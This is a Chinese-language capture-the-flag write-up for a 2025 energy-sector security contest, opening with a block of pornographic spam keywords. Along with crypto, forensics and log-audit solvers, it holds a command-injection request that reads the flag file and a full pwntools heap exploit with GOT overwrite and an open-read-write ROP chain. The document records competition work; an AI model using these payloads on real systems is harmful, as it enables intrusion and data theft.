<output id="qn6qe"></output>

    1. <output id="qn6qe"><tt id="qn6qe"></tt></output>
    2. <strike id="qn6qe"></strike>

      亚洲 日本 欧洲 欧美 视频,日韩中文字幕有码av,一本一道av中文字幕无码,国产线播放免费人成视频播放,人妻少妇偷人无码视频,日夜啪啪一区二区三区,国产尤物精品自在拍视频首页,久热这里只有精品12

      2025年能源網絡安全大賽-初賽-能源組 WP

      能源行業

      Upload

      導出http對象

      img

      img

      Mirror

      測試 url 編碼可以繞過,

      POST / HTTP/1.1
      Host: 114.215.185.237:29262
      Content-Length: 35
      Cache-Control: max-age=0
      Upgrade-Insecure-Requests: 1
      Origin: http://114.215.185.237:29262
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
      Referer: http://114.215.185.237:29262/
      Accept-Encoding: gzip, deflate
      Accept-Language: zh-CN,zh;q=0.9
      Cookie: csrftoken=7oeKH3zkKVYT2u6Hu3EobZ3n6eEbz6mA; cut_data="{\"remaining\": 91.07928746378997\054 \"cut_count\": 17}"
      Connection: close
      
      domain=www.sohu.com%26%26head        /fla[g]
      

      balls

      
      #include <stdint.h>
      #include <assert.h>
      #include <stdint-gcc.h>
      #include "stdio.h"
      
      const int DELTA = 0x12341234;
      void decrypt_xtea(unsigned int rounds, unsigned int *data, const uint32_t *key, const uint32_t *sum_array);
      
      void encrypt(unsigned int rounds, uint32_t *data, const uint32_t *key) {
          int sum = 0;
          unsigned int v1;
          unsigned int v0;
      
          v0 = data[0];
          v1 = data[1];
          for (int i = 0; i < rounds; ++i) {
              v0 += (key[sum & 3] + sum) ^ (v1 + ((v1 >> 5) ^ (v1 << 4)));
              sum += DELTA;
              if (sum >> 0x1F)
                  sum ^= 0x9876543;
              v1 += (key[(sum >> 11) & 3] + sum) ^ (v0 + ((v0 >> 5) ^ (v0 << 4)));
          }
          data[0] = v0;
          data[1] = v1;
          printf("\nsum: %x\n", sum);
      }
      
      void decrypt(unsigned int rounds, unsigned int *data, int len, uint32_t *key, uint32_t sum_array[32]) {
          // 每次處理2個整數(8字節),所以步長應該是2
          for (int i = 0; i < len / sizeof(int); i += 2) {
              decrypt_xtea(rounds, &data[i], key, sum_array);
          }
      }
      
      void decrypt_xtea(unsigned int rounds, unsigned int *data, const uint32_t *key, const uint32_t *sum_array) {
          int sum;
          unsigned int v1;
          unsigned int v0;
      
          v0 = data[0];
          v1 = data[1];
          sum = sum_array[rounds - 1];
          for (int i = 0; i < rounds; ++i) {
              v1 -= (key[(sum >> 11) & 3] + sum) ^ (v0 + ((v0 >> 5) ^ (v0 << 4)));
              if (i < rounds - 1)
                  sum = sum_array[rounds - i - 1 - 1];
              else
                  sum = 0; // 最后時 sum = 0
              v0 -= (key[sum & 3] + sum) ^ (v1 + ((v1 >> 5) ^ (v1 << 4)));
          }
          *data = v0;
          data[1] = v1;
      }
      
      
      // 計算并存儲每輪的sum值
      void calculate_sum_array(unsigned int rounds, int *sum_array) {
          int sum = 0;
      
          for (int i = 0; i < rounds; ++i) {
              sum += DELTA;
              if (sum >> 0x1F >= 0)
                  sum ^= 0x9876543;
              sum_array[i] = sum;
          }
      }
      
      int main() {
          setbuf(stdout, NULL);
          uint32_t key[] = {2, 2, 3, 4};
          char encrypt_data[] = {0x00,0xB5,0x73,0x12,0x3E,0xF4,0x07,0x85,0x83,0x48,0x2B,0x7D,0x2A,0x16,0x91,0xA8,0x39,0xFA,0xD5,0xAC,0x2A,0x11,0xB5,0xF1,0xCF,0x9F,0x95,0xDD,0xEA,0x27,0x36,0x82};
          int rounds = 32;
      
          int sum_array[32] = {0};
          calculate_sum_array(rounds, sum_array);
      
          // encrypt(rounds, (uint32_t *) plain, key);
          size_t count = sizeof encrypt_data;
          decrypt(rounds, (uint32_t *) encrypt_data, count, key, sum_array);
          for (int i = 0; i < sizeof encrypt_data; ++i) {
              printf("%c", encrypt_data[i]);
          }
          return 0;
      }
      

      Web

      Web_EasyXSS | 未完成

      robots.txt 得到密碼。爆破進去。

      Web_phsys

      看 filemodel.php 上傳文件的時候可以路徑穿越。可以上傳文件覆蓋/views/view.tpl 然后 ssti show source 直接讀 flag構造發包就好了

      Web_EEEEEE | 未完成

      在Cookies中砍完得到

      您好??,這是一份提示,secret_key字段在ctf_config表里

      robots.txt

      Disallow: /api/user/list
      Disallow: /api/user/register
      Disallow: /api/user/login
      Disallow: /admin
      

      http://114.215.185.237:25241/api/user/register

      注冊成功

      {
          "username": "admin1",
          "password": "admin1",
          "email": "admin1@admin.coim"
      }
      

      http://114.215.185.237:25241/api/user/register

      http://114.215.185.237:25241/api/user/login

      可以登錄。

      {

      "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMSwiaXNfYWRtaW4iOiIwIiwiZXhwIjoxNzQ0ODYwMjc2LjEzNDkzNDJ9.weM_HPxaJZ8gptL56iupA4leATHIU2hINuMnDrn6ibY"

      }

      會給token

      Internal-JDBC-Hack | 未完成

      Crypto

      eazy_crypto

      #!/usr/bin/env python3
      from itertools import product
      
      # —— 在這里粘你的公鑰列表和密文 —— #
      public_key   =[685013477, 1370026954, 2740053908, 5480107816, 10960215632, 21920431264, 43840862528, 87681725056, 175363450112, 350726900224, 701453800448, 1402907600896, 2805815201792, 5611630403584, 11223260807168, 22446521614336, 44893043228672, 89786086457344, 179572172914688, 359144345829376, 718288691658752, 1436577383317504, 2873154766635008, 5746309533270016, 11492619066540032, 22985238133080064, 45970476266160128, 91940952532320256, 183881905064640512, 367763810129281024, 735527620258562048, 1471055240517124096, 2942110481034248192, 5884220962068496384, 11768441924136992768, 23536883848273985536, 47073767696547971072, 94147535393095942144, 188295070786191884288, 376590141572383768576, 753180283144767537152, 1506360566289535074304, 3012721132579070148608, 6025442265158140297216, 12050884530316280594432, 24101769060632561188864, 48203538121265122377728, 96407076242530244755456, 192814152485060489510912, 385628304970120979021824, 771256609940241958043648, 1542513219880483916087296, 3085026439760967832174592, 6170052879521935664349184, 12340105759043871328698368, 24680211518087742657396736, 49360423036175485314793472, 98720846072350970629586944, 197441692144701941259173888, 394883384289403882518347776, 789766768578807765036695552, 1579533537157615530073391104, 3159067074315231060146782208, 6318134148630462120293564416, 12636268297260924240587128832, 25272536594521848481174257664, 50545073189043696962348515328, 101090146378087393924697030656, 202180292756174787849394061312, 404360585512349575698788122624, 808721171024699151397576245248, 1617442342049398302795152490496, 3234884684098796605590304980992, 6469769368197593211180609961984, 12939538736395186422361219923968, 25879077472790372844722439847936, 51758154945580745689444879695872, 103516309891161491378889759391744, 207032619782322982757779518783488, 414065239564645965515559037566976, 828130479129291931031118075133952, 1656260958258583862062236150267904, 3312521916517167724124472300535808, 6625043833034335448248944601071616, 13250087666068670896497889202143232, 26500175332137341792995778404286464, 53000350664274683585991556808572928, 106000701328549367171983113617145856, 212001402657098734343966227234291712, 424002805314197468687932454468583424, 848005610628394937375864908937166848, 1696011221256789874751729817874333696, 3392022442513579749503459635748667392, 6784044885027159499006919271497334784, 13568089770054318998013838542994669568, 27136179540108637996027677085989339136, 54272359080217275992055354171978678272, 108544718160434551984110708343957356544, 217089436320869103968221416687914713088, 434178872641738207936442833375829426176, 868357745283476415872885666751658852352, 1736715490566952831745771333503317704704, 3473430981133905663491542667006635409408, 6946861962267811326983085334013270818816, 13893723924535622653966170668026541637632, 27787447849071245307932341336053083275264, 55574895698142490615864682672106166550528, 111149791396284981231729365344212333101056, 222299582792569962463458730688424666202112, 444599165585139924926917461376849332404224, 889198331170279849853834922753698664808448, 1778396662340559699707669845507397329616896, 3556793324681119399415339691014794659233792, 7113586649362238798830679382029589318467584, 14227173298724477597661358764059178636935168, 28454346597448955195322717528118357273870336, 56908693194897910390645435056236714547740672, 113817386389795820781290870112473429095481344, 227634772779591641562581740224946858190962688, 455269545559183283125163480449893716381925376, 910539091118366566250326960899787432763850752, 1821078182236733132500653921799574865527701504, 3642156364473466265001307843599149731055403008, 7284312728946932530002615687198299462110806016, 14568625457893865060005231374396598924221612032, 29137250915787730120010462748793197848443224064, 58274501831575460240020925497586395696886448128, 116549003663150920480041850995172791393772896256, 233098007326301840960083701990345582787545792512, 466196014652603681920167403980691165575091585024, 932392029305207363840334807961382331150183170048, 1864784058610414727680669615922764662300366340096, 3729568117220829455361339231845529324600732680192, 7459136234441658910722678463691058649201465360384, 14918272468883317821445356927382117298402930720768, 29836544937766635642890713854764234596805861441536, 59673089875533271285781427709528469193611722883072, 119346179751066542571562855419056938387223445766144, 238692359502133085143125710838113876774446891532288, 477384719004266170286251421676227753548893783064576, 954769438008532340572502843352455507097787566129152, 1909538876017064681145005686704911014195575132258304, 3819077752034129362290011373409822028391150264516608, 7638155504068258724580022746819644056782300529033216, 15276311008136517449160045493639288113564601058066432, 30552622016273034898320090987278576227129202116132864, 61105244032546069796640181974557152454258404232265728, 122210488065092139593280363949114304908516808464531456, 244420976130184279186560727898228609817033616929062912, 488841952260368558373121455796457219634067233858125824, 977683904520737116746242911592914439268134467716251648, 1955367809041474233492485823185828878536268935432503296, 3910735618082948466984971646371657757072537870865006592, 7821471236165896933969943292743315514145075741730013184, 15642942472331793867939886585486631028290151483460026368, 31285884944663587735879773170973262056580302966920052736, 62571769889327175471759546341946524113160605933840105472, 125143539778654350943519092683893048226321211867680210944, 250287079557308701887038185367786096452642423735360421888, 500574159114617403774076370735572192905284847470720843776, 1001148318229234807548152741471144385810569694941441687552, 2002296636458469615096305482942288771621139389882883375104, 4004593272916939230192610965884577543242278779765766750208, 8009186545833878460385221931769155086484557559531533500416, 16018373091667756920770443863538310172969115119063067000832, 32036746183335513841540887727076620345938230238126134001664, 64073492366671027683081775454153240691876460476252268003328, 128146984733342055366163550908306481383752920952504536006656, 256293969466684110732327101816612962767505841905009072013312, 512587938933368221464654203633225925535011683810018144026624, 1025175877866736442929308407266451851070023367620036288053248, 2050351755733472885858616814532903702140046735240072576106496, 4100703511466945771717233629065807404280093470480145152212992, 8201407022933891543434467258131614808560186940960290304425984, 16402814045867783086868934516263229617120373881920580608851968, 32805628091735566173737869032526459234240747763841161217703936, 65611256183471132347475738065052918468481495527682322435407872, 131222512366942264694951476130105836936962991055364644870815744, 262445024733884529389902952260211673873925982110729289741631488, 524890049467769058779805904520423347747851964221458579483262976, 1049780098935538117559611809040846695495703928442917158966525952, 95743002220203365521516392648555370826107558876295087647078391, 191486004440406731043032785297110741652215117752590175294156782, 382972008880813462086065570594221483304430235505180350588313564, 765944017761626924172131141188442966608860471010360701176627128, 1531888035523253848344262282376885933217720942020721402353254256, 1059958875395634827090817339320633846270141586031903574420534999, 116100555140396784583927453208129672374982874054267918555096485, 232201110280793569167854906416259344749965748108535837110192970, 464402220561587138335709812832518689499931496217071674220385940, 928804441123174276671419625665037378999862992434143348440771880]
      c = 5130209653431579204059070331103048181426810462112058691052551084
      # —————————————————————————— #
      
      n = len(public_key)
      
      def try_with(M):
          """給定 M,尾部長度 T = n - M - 1,暴力枚舉尾部并貪心解前綴。"""
          T = n - M - 1
          if T <= 0 or T > 20:
              return None
      
          print(f"[+] 嘗試 M={M},T={T},共 {2**T} 種尾部組合 …")
          for beta in product([0,1], repeat=T):
              tail_sum = sum(beta[j] * public_key[M+1+j] for j in range(T))
              rem = c - tail_sum
              if rem < 0:
                  continue
      
              # 貪心解前綴
              f = [0]*(M+1)
              for i in range(M, -1, -1):
                  if rem >= public_key[i]:
                      f[i] = 1
                      rem -= public_key[i]
      
              if rem == 0:
                  bits = ''.join(str(b) for b in f) + ''.join(str(b) for b in beta)
                  num = int(bits, 2)
                  B = (len(bits)+7)//8
                  flag_bytes = num.to_bytes(B, 'big')
                  try:
                      flag = flag_bytes.decode('ascii')
                  except UnicodeDecodeError:
                      continue
                  # 只要能打印,立刻返回
                  return flag
      
          return None
      
      # —— 第一步:試圖自動找出 wrap 點 —— #
      wrap_idx = None
      for i in range(1, n):
          if public_key[i] < public_key[i-1]:
              wrap_idx = i-1
              print(f"[+] 自動檢測到 pk 在 i={wrap_idx+1} 處開始下降,取 M={wrap_idx}")
              break
      
      # —— 第二步:若檢測成功就只試這一組,否則試所有可能的 M —— #
      if wrap_idx is not None:
          flag = try_with(wrap_idx)
          if flag:
              print("=== 解出 flag:", flag)
              exit(0)
          else:
              print("[!] 用自動檢測到的 M 沒能解出,改為全盤嘗試 ...")
      
      # 第三步:枚舉所有可能的尾部長度(M 從 n-2 到 0)—— #
      for T in range(1, 21):
          M = n - T - 1
          if M < 0:
              break
          flag = try_with(M)
          if flag:
              print("=== 解出 flag:", flag)
              exit(0)
      
      print("[×] 所有嘗試均失敗,建議:")
      print("    1) 確認 public_key 列表和 c 值是否正確;")
      print("    2) 打印一下 public_key 前 20 項,手動觀察 where wrap happens;")
      print("    3) 檢查是不是有粘貼錯誤或漏掉逗號。")
      
      

      simplesigin

      from Crypto.Util.number import long_to_bytes
      
      n = 91717197306065801430692774296739087369692505805873730729014813677164858033475119219496549179322145782790263228034134781592967028480301579462111507372893508636592832600206391905790511488678949157112322777098684707325311891056750963286494634489093620270797637437274546909400418496263799669541769586017282231886023275686719495040493703402244867906367008837217453500300992995258096509545406775279177918160331853363991834113918051468978309081085686108283547874975768959542753094631595260890420558364636303078263220001513817844063960023424429484568985727987064710176511050208253838039386390968276801658300795687804601169987051671314061987254212363117325786734328360418591971610392966867659045907550755979167652038093091970078722854251659581538266806207906127491377972897441916942048136016416739633568604447564119372465662628724153812001753748410162478969725179843125714619352895967577899670208386148053595763674920185320834513587
      c = 42839011426405997183903064099635369826330453992570625970187419298692038242873340653343908015720875659378036817158685551628122217251118628262238465344190964816124580515458311589588181306296351778223861262126155125515973896503862879452134790831154504719292417905542768994118748777728649139178447183393367548054248947947431492235965656603368249032481251726201814793707367255423795360154002568107516580925236531750315901863488819318860921565896077238102673526816090928925925751075205315025490968147316509309315086832359525106203975670062755669310591511541201410020995195041443209092074953245174428606205236898973322350365005188942046012164423380551528973172062821695472964847483144558009935347106019767003947501794910291787761506146324383099394195404192915582482886260648618931172730212751598584218599542997084683196266265460113955019678010205955389076617695217597085275764572543474258054602748997334079905377228138451474442238
      gift1 = 513
      gift2 = 5077110719426498428662246006638349628986894614097694065336047422264042823893900747327210766546701290926253205743419412459378571920759093322149140413682875156857171051511499793127787270654329155934268596972449238336868326196360992252498463385
      e = 0x10001
      
      # Precompute M = 2^820
      M = 2^820
      
      # Iterate over possible x values (0 to 1023)
      found = False
      for x in range(0, 1024):
          # Construct c for current x
          c_val = (gift2 << 20) + (x << 10) + gift1
          # Define the polynomial modulo n
          PR.<a> = PolynomialRing(Zmod(n), implementation='NTL')
          f = a * M + c_val
          # Make the polynomial monic
          f = f.monic()
          # Find small roots (adjust parameters as needed)
          try:
              roots = f.small_roots(X=2^204, beta=0.33, epsilon=0.02)
          except:
              continue
          if roots:
              for root in roots:
                  a_val = int(root)
                  p_candidate = a_val * M + c_val
                  # Check if p_candidate divides n
                  if p_candidate !=0 and n % p_candidate == 0:
                      print(f"Found x = {x}")
                      print(f"p = {p_candidate}")
                      # Factor q and r from n/p
                      qr = n // p_candidate
                      # Find q and r (consecutive primes)
                      # Start near sqrt(qr)
                      q = isqrt(qr)
                      while True:
                          if qr % q == 0:
                              r_candidate = qr // q
                              if next_prime(q) == r_candidate:
                                  print(f"q = {q}")
                                  print(f"r = {r_candidate}")
                                  # Compute phi and decrypt
                                  phi = (p_candidate-1)*(q-1)*(r_candidate-1)
                                  d = inverse_mod(e, phi)
                                  m = pow(c, d, n)
                                  flag = long_to_bytes(m)
                                  print("Flag:", flag)
                                  found = True
                                  break
                              # Check previous primes in case sqrt was overestimated
                              prev_q = previous_prime(q)
                              if prev_q and qr % prev_q == 0:
                                  r_candidate = qr // prev_q
                                  if next_prime(prev_q) == r_candidate:
                                      print(f"q = {prev_q}")
                                      print(f"r = {r_candidate}")
                                      phi = (p_candidate-1)*(prev_q-1)*(r_candidate-1)
                                      d = inverse_mod(e, phi)
                                      m = pow(c, d, n)
                                      flag = long_to_bytes(m)
                                      print("Flag:", flag)
                                      found = True
                                      break
                          if found:
                              break
                          q += 1  # Increment to check next possible q
                      if found:
                          break
              if found:
                  break
          if found:
              break
              
              
      import gmpy2
      
      # 已知參數 
      n = 91717197306065801430692774296739087369692505805873730729014813677164858033475119219496549179322145782790263228034134781592967028480301579462111507372893508636592832600206391905790511488678949157112322777098684707325311891056750963286494634489093620270797637437274546909400418496263799669541769586017282231886023275686719495040493703402244867906367008837217453500300992995258096509545406775279177918160331853363991834113918051468978309081085686108283547874975768959542753094631595260890420558364636303078263220001513817844063960023424429484568985727987064710176511050208253838039386390968276801658300795687804601169987051671314061987254212363117325786734328360418591971610392966867659045907550755979167652038093091970078722854251659581538266806207906127491377972897441916942048136016416739633568604447564119372465662628724153812001753748410162478969725179843125714619352895967577899670208386148053595763674920185320834513587 
      c = 42839011426405997183903064099635369826330453992570625970187419298692038242873340653343908015720875659378036817158685551628122217251118628262238465344190964816124580515458311589588181306296351778223861262126155125515973896503862879452134790831154504719292417905542768994118748777728649139178447183393367548054248947947431492235965656603368249032481251726201814793707367255423795360154002568107516580925236531750315901863488819318860921565896077238102673526816090928925925751075205315025490968147316509309315086832359525106203975670062755669310591511541201410020995195041443209092074953245174428606205236898973322350365005188942046012164423380551528973172062821695472964847483144558009935347106019767003947501794910291787761506146324383099394195404192915582482886260648618931172730212751598584218599542997084683196266265460113955019678010205955389076617695217597085275764572543474258054602748997334079905377228138451474442238 
      e = 0x10001 
       
      p = 3477634305546435927144616128460405250629463598739893239816622473608462839499113119946824017810719873339090526901633334291915897266888038660079222244131141455801199895718590378634837198073159021685321370770688205297565282784367872112989609728187391912702894751801426189113088741174943793100295289840652581377
      q = 162399030363070924408658553342566621301865431412428199405276984452053313800746433925173396548817699021323394634719083758326973744580449458453418752068907138213058931545474946050685884721297474105183643109956009899293829385519759400010099257639127536920365563282821532319758427399499520953101076342669432069593
      r = 162399030363070924408658553342566621301865431412428199405276984452053313800746433925173396548817699021323394634719083758326973744580449458453418752068907138213058931545474946050685884721297474105183643109956009899293829385519759400010099257639127536920365563282821532319758427399499520953101076342669432073067
      phi = (p-1)*(q-1)*(r-1)
      
      # init p q e c
      from Crypto.Util.number import long_to_bytes
      
      d = gmpy2.invert(e, phi)
      m = pow(c, d, n)
      print(long_to_bytes(m))
      

      數據安全

      數據校驗

      md5 https://www.sojson.com/md5/

      img

      A列-2065;B列-2964;
      flag{md5}
      

      超期賬號未回收

      Excel 制作公式

      ①篩選active列

      ②判斷最后登錄時間和過期時間判斷

      ③共計3189個

      flag{3189}

      數據庫審計

      import re
      import hashlib
      
      # 定義違規類型
      VIOLATION_TYPES = {
          1: "不存在的賬號執行操作",
          2: "無權操作的表",
          3: "超權限操作",
          4: "非root權限操作"
      }
      
      # 解析用戶權限配置文件
      def parse_permissions(file_path):
          permissions = {}
          with open(file_path, 'r', encoding='utf-8') as f:
              for line in f:
                  line = line.strip()
                  if not line:
                      continue
                  
                  parts = line.split(',')
                  if len(parts) < 5:
                      continue
                      
                  user_id = parts[0].strip()
                  username = parts[1].strip()
                  tables = [t.strip() for t in parts[2].strip().split(';')]
                  operations = [op.strip() for op in parts[3].strip().split(';')]
                  is_root = parts[4].strip().lower() == 'root'
                  
                  permissions[username] = {
                      'id': user_id,
                      'tables': tables,
                      'operations': operations,
                      'is_root': is_root
                  }
          
          return permissions
      
      # 解析操作日志文件
      def parse_logs(file_path):
          logs = []
          with open(file_path, 'r', encoding='utf-8') as f:
              for line in f:
                  line = line.strip()
                  if not line:
                      continue
                  
                  parts = line.split(' ', 4)
                  if len(parts) < 5:
                      continue
                      
                  log_id = parts[0]
                  date = parts[1]
                  time = parts[2]
                  username = parts[3]
                  operation_info = parts[4]
                  
                  # 解析操作類型和表名
                  operation_type = operation_info.split(' ')[0]
                  table_name = None
                  operation = None
                  
                  if operation_type == 'QUERY':
                      table_parts = operation_info.split(' ')
                      if len(table_parts) > 1:
                          table_name = table_parts[1]
                      
                      # 提取操作類型 (SELECT, INSERT, UPDATE, DELETE)
                      if 'operation=' in operation_info:
                          operation = operation_info.split('operation=')[1].strip()
                  
                  logs.append({
                      'id': log_id,
                      'date': date,
                      'time': time,
                      'username': username,
                      'operation_type': operation_type,
                      'table_name': table_name,
                      'operation': operation
                  })
          
          return logs
      
      # 檢測違規操作
      def detect_violations(logs, permissions):
          violations = []
          
          for log in logs:
              log_id = log['id']
              username = log['username']
              operation_type = log['operation_type']
              table_name = log['table_name']
              operation = log['operation']
              
              # 檢查違規類型1: 不存在的賬號執行操作
              if username not in permissions and operation_type not in ['LOGIN_FAILED']:
                  violations.append(f"1-{log_id}")
                  continue
              
              # 跳過登錄失敗的記錄
              if operation_type == 'LOGIN_FAILED':
                  continue
              
              # 檢查違規類型4: 非root權限操作
              if operation_type == 'GRANT' and not permissions[username]['is_root']:
                  violations.append(f"4-{log_id}")
                  continue
              
              # 檢查違規類型2: 無權操作的表
              if table_name and table_name not in permissions[username]['tables'] and operation_type == 'QUERY':
                  violations.append(f"2-{log_id}")
                  continue
              
              # 檢查違規類型3: 超權限操作
              if operation and operation_type == 'QUERY' and operation not in permissions[username]['operations']:
                  violations.append(f"3-{log_id}")
                  continue
          
          return violations
      
      # 生成最終答案
      def generate_answer(violations):
          # 按照日志編號排序
          violations.sort(key=lambda x: int(x.split('-')[1]))
          
          # 拼接違規記錄
          result = ','.join(violations)
          
          # 計算MD5
          md5_hash = hashlib.md5(result.encode()).hexdigest()
          
          return result, md5_hash
      
      def main():
          # 文件路徑
          permissions_file = 'd:\\temp\\pytemp\\app1\\md51\\sjk\\user_permissions.txt'
          logs_file = 'd:\\temp\\pytemp\\app1\\md51\\sjk\\database_logs.txt'
          
          # 解析文件
          permissions = parse_permissions(permissions_file)
          logs = parse_logs(logs_file)
          
          # 檢測違規
          violations = detect_violations(logs, permissions)
          
          # 生成答案
          result, md5_hash = generate_answer(violations)
          
          print("檢測到的違規操作:")
          for v in violations:
              print(v)
          
          print("\n拼接結果:", result)
          print("MD5哈希值:", md5_hash)
      
      if __name__ == "__main__":
          main()
      

      Misc

      alarm_clock

      diskgenius打開vmdk搜索已刪除文件進行恢復。

      得到 wav和zip文件。

      wav用qsstv播放得到解壓密碼和一張鐘表的圖。

      img

      z@Wa1uDu0

      import matplotlib.pyplot as plt
      import numpy as np
      
      # 解析輸入字符串
      str_input = '''3,3,3,3,9,9,6,6,6,0,0,0,0,1,1,5,5 6,6,6,6,4,3,2 1,2,3,4,5,6,6,6,6,6,6,3,9,9,9,10,11,0,1,2,3,3'''
      str_input ='''3,3,3,3,9,9,6,6,6,0,0,0,0,1,1,5,5
      6,6,6,6,4,3,2
      1,2,3,4,5,6,6,6,6,6,6,3,9,9,9,10,11,0,1,2,3,3
      3,3,6,6,6,6,7,9,11,5,3,1,0,0,9,9,0,0
      8,7,6,8,4,6,5,4
      6,3,3,9,9,6,3,3,6,6,9,9
      3,3,6,6,6,6,9,9,0,0,0,0,6,6,3,3
      3,3,6,6,6,6
      3,3,6,6,6,6,0,0,9,9,0,0
      3,3,6,6,6,6,9,9,0,0,0,0
      7,1,6,6,6,6,9,3,3
      3,3,9,9,6,6,6,6,3,3,0,0,9,9
      10,9,8,7,6,5,4,3,2
      3,3
      3,3,6,6,9,9,3,3,6,6,9,9
      3,3,6,6,6,6,9,9,0,0,0,0
      7,1,6,6,6,6,9,3,3
      6,6,6,6,6,0,0,1,2,3,4,5,6,7,8,9,10,11,0
      3,3
      7,7,7,3,3,3,9,0,0,0,6,6,6,6,6
      3,3,6,6,6,6,9,9,0,0,0,0,6,6,3,3
      7,7,7,3,3,3,9,0,0,0,6,6,6,6,6
      3,3,6,6,6,6,9,9,0,0,0,0
      3,3
      3,3,6,6,6,6,0,0,9,9,0,0
      6,3,3,9,9,6,3,3,6,6,9,9
      6,6,6,6,6,0,0,1,2,3,4,5,6,7,8,9,10,11,0
      3,3,3,3,9,9,6,6,6,0,0,0,0,1,1,5,5
      3,3
      6,6,6,6,6,0,0,1,2,3,4,5,6,7,8,9,10,11,0
      3,3,3,3,11,10,9,8,7,6,5,4,3,2,1
      3,3,6,6,6,6
      3,3,6,6,9,9,6,6,3,3
      6,6,6,6,6,0,0,1,2,3,4,5,6,7,8,9,10,11,0
      3,3,6,6,9,9,3,3,6,6,9,9
      3,3,6,6,6,6
      3,3,6,6,6,6,0,0,9,9,0,0
      6,6,6,6,6,0,0,1,2,3,4,5,6,7,8,9,10,11,0
      3,3,6,6,9,9,6,6,3,3
      7,1,6,6,6,6,9,3,3
      3,3,3,3,11,10,9,8,7,6,5,4,3,2,1
      4,5,6,4,8,6,7,8
      '''
      segment_lines = str_input.splitlines()
      
      # 方向映射(按鐘表方向)
      # 12點=0, 1點=1, 2點=2, 以此類推
      directions = {
          '0': (0, 1),    # 12點方向
          '1': (0.5, 0.866),  # 1點方向
          '2': (0.866, 0.5),  # 2點方向
          '3': (1, 0),    # 3點方向
          '4': (0.866, -0.5), # 4點方向
          '5': (0.5, -0.866), # 5點方向
          '6': (0, -1),   # 6點方向
          '7': (-0.5, -0.866), # 7點方向
          '8': (-0.866, -0.5), # 8點方向
          '9': (-1, 0),   # 9點方向
          '10': (-0.866, 0.5), # 10點方向
          '11': (-0.5, 0.866)  # 11點方向
      }
      
      # 初始化繪圖
      plt.figure(figsize=(10, 10))
      x, y = 0, 0
      plt.plot(x, y, 'ro')  # 起點
      
      # 繪制路徑
      for line in segment_lines:
          segments = line.split()
          for segment in segments:
              steps = segment.split(',')
              for step in steps:
                  if step in directions:
                      dx, dy = directions[step]
                      plt.arrow(x, y, dx, dy, head_width=0.1, head_length=0.1, fc='blue', ec='blue')
                      x += dx
                      y += dy
                      plt.plot(x, y, 'bo', markersize=5)
      
          # 設置圖形屬性
          plt.grid(True)
          plt.axis('equal')
          plt.title('鐘表方向繪圖')
          # plt.savefig('a.png')
          plt.show()
      # flag{5879016c-301b-4840-95bf-be72b379b21e}
      

      Bluetooth

      tshark -r a.pcapng -e btl2cap.payload -T fields | sed -e "/^\s*$/d" > data.txt
      
      import re
      
      text = open("data.txt").read()
      
      # 使用正則表達式提取特定位置的數字
      digits = re.findall(r'^...............................(\d)..$', text, flags=re.M)
      
      # 將提取的數字連接成字符串并按0分割
      digit_str = ''.join(digits)
      segments = [seg for seg in re.split(r'0+', digit_str) if seg]
      
      # 從每個分段中提取第一個字符并轉換數字映射
      extracted_chars = ''.join(segment[0] for segment in segments)
      converted_text = extracted_chars.translate(str.maketrans("1248", "0123"))
      
      # 將4位一組的二進制數轉換為ASCII字符
      chunks = re.findall(r'(....)', converted_text)
      result = ''.join(chr(int(chunk, 4)) for chunk in chunks)
      
      print(result)
      # flag{5a482ade-10ed-4905-a886-369846d27a08}
      

      pwn

      CFC

      from pwn import *
      
      dir  =    lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
      
      libc=ELF('./libc-2.31.so')
      context.arch='amd64'
      # p=process('./pwn1')
      p = remote('ip',30612)
      
      
      
      def command(option):
          p.recvuntil(b'>>')
          p.sendline(bytes(str(option),'utf-8'))
      
      def create():
          command(1)
          p.recvuntil(b'Size')
          p.sendline(bytes(str(0x20),'utf-8'))
      def free(id):
          command(3)
          p.recvuntil(b'Idx')
          p.sendline(bytes(str(id),'utf-8'))
      def edit(id,Content):
          command(2)
          p.recvuntil(b'Idx')
          p.sendline(bytes(str(id),'utf-8'))
          p.recvuntil(b'Content')
          p.send(Content)
      
      create() # 0
      create() # 1
      
      free(1)
      free(0)
      edit(0,p64(0x4035A0))
      
      create() # 2
      create() # 1 # heap_ptr
      free_got = 0x4034e0
      read_got = 0x403510
      my_puts = 0x4012D1
      edit(1,p64(free_got))
      edit(0,p64(my_puts))
      heap_ptr = 0x4035A0
      
      edit(1,p64(read_got))
      free(0)
      
      p.recvuntil(b':')
      read_addr = u64(p.recv(6).ljust(8,b'\x00'))
      libcbase = read_addr - libc.symbols['read']
      system_addr = libcbase + libc.symbols['system']
      gets_addr = libcbase + libc.symbols['gets']
      env_addr = libcbase + 0x1ef600
      dir("libcbase")
      dir("env_addr")
      
      edit(1,p64(env_addr))
      free(0)
      
      p.recvuntil(b':')
      stack_addr = u64(p.recv(6).ljust(8,b'\x00'))
      dir("stack_addr")
      
      edit(1,p64(free_got)+p64(0x00000000004035a0)+b'flag\x00')
      edit(0,p64(gets_addr))
      
      target_addr = stack_addr - 0x128
      edit(1,p64(target_addr))
      
      # gdb.attach(p,'b* 0x4016E4')
      free(0)
      
      mprotect=libcbase+libc.sym['mprotect']
      open_addr=libcbase+libc.sym['open']
      read_addr=libcbase+libc.sym['read']
      write_addr=libcbase+libc.sym['write']
      rdi_ret=libcbase+0x0000000000023b6a
      rsi_ret=libcbase+0x000000000002601f
      rdx_ret=libcbase+0x0000000000142c92
      flag_add = 0x4035b0
      orw_rop = p64(rdi_ret+1)*4
      orw_rop +=  p64(rdi_ret) + p64(flag_add) + p64(rsi_ret) + p64(0)+ p64(open_addr)
      orw_rop += p64(rdi_ret) + p64(3) + p64(rsi_ret) + p64(flag_add) + p64(rdx_ret) + p64(0x100) + p64(read_addr)
      orw_rop += p64(rdi_ret) + p64(1)+ p64(write_addr)
      
      p.sendline(orw_rop)
      
      
      p.interactive()
      

      Pwn_vm | 未完成

      posted @ 2025-04-18 07:00  wgf4242  閱讀(416)  評論(0)    收藏  舉報
